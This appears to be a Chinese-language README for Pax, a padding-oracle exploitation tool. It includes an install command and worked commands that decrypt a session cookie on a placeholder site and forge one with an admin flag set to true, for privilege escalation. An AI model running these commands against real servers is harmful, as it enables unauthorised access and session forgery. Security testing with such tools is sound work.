利用填充预言机(Padding Oracle)进行攻击,获得乐趣与收益!
Pax(填充预言机利用工具)是一款用于利用填充预言机的工具,可实现以下功能:
该工具可用于泄露加密的会话信息,并且通常能够绕过身份验证、提升权限,甚至通过加密自定义明文并将其写回服务器来实现远程代码执行。
一如既往,此工具仅应用于你拥有所有权或已获得探测权限的系统!
从发布页下载,或使用 Go 安装:
go get -u github.com/liamg/pax/cmd/pax
如果你发现了一个疑似预言机,且加密数据存储在名为 SESS 的 cookie 中,可以使用以下命令:
pax decrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D"
这有望为你提供一些明文,例如:
{"user_id": 456, "is_admin": false}
看起来你可以在此处提升权限!
你可以尝试首先生成自己的加密数据,让预言机将其解密回你想要的隐秘明文:
pax encrypt --url https://target.site/profile.php --sample Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D --block-size 16 --cookies "SESS=Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg%3D%3D" --plain-text '{"user_id": 456, "is_admin": true}'
这将输出另一组 Base64 编码的加密数据,例如:
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
现在,你可以打开浏览器,将 SESS cookie 的值设置为上述值。加载原始预言机页面后,你应该会发现自己的权限已提升至管理员级别。
以下是一些关于此攻击方法的优秀指南: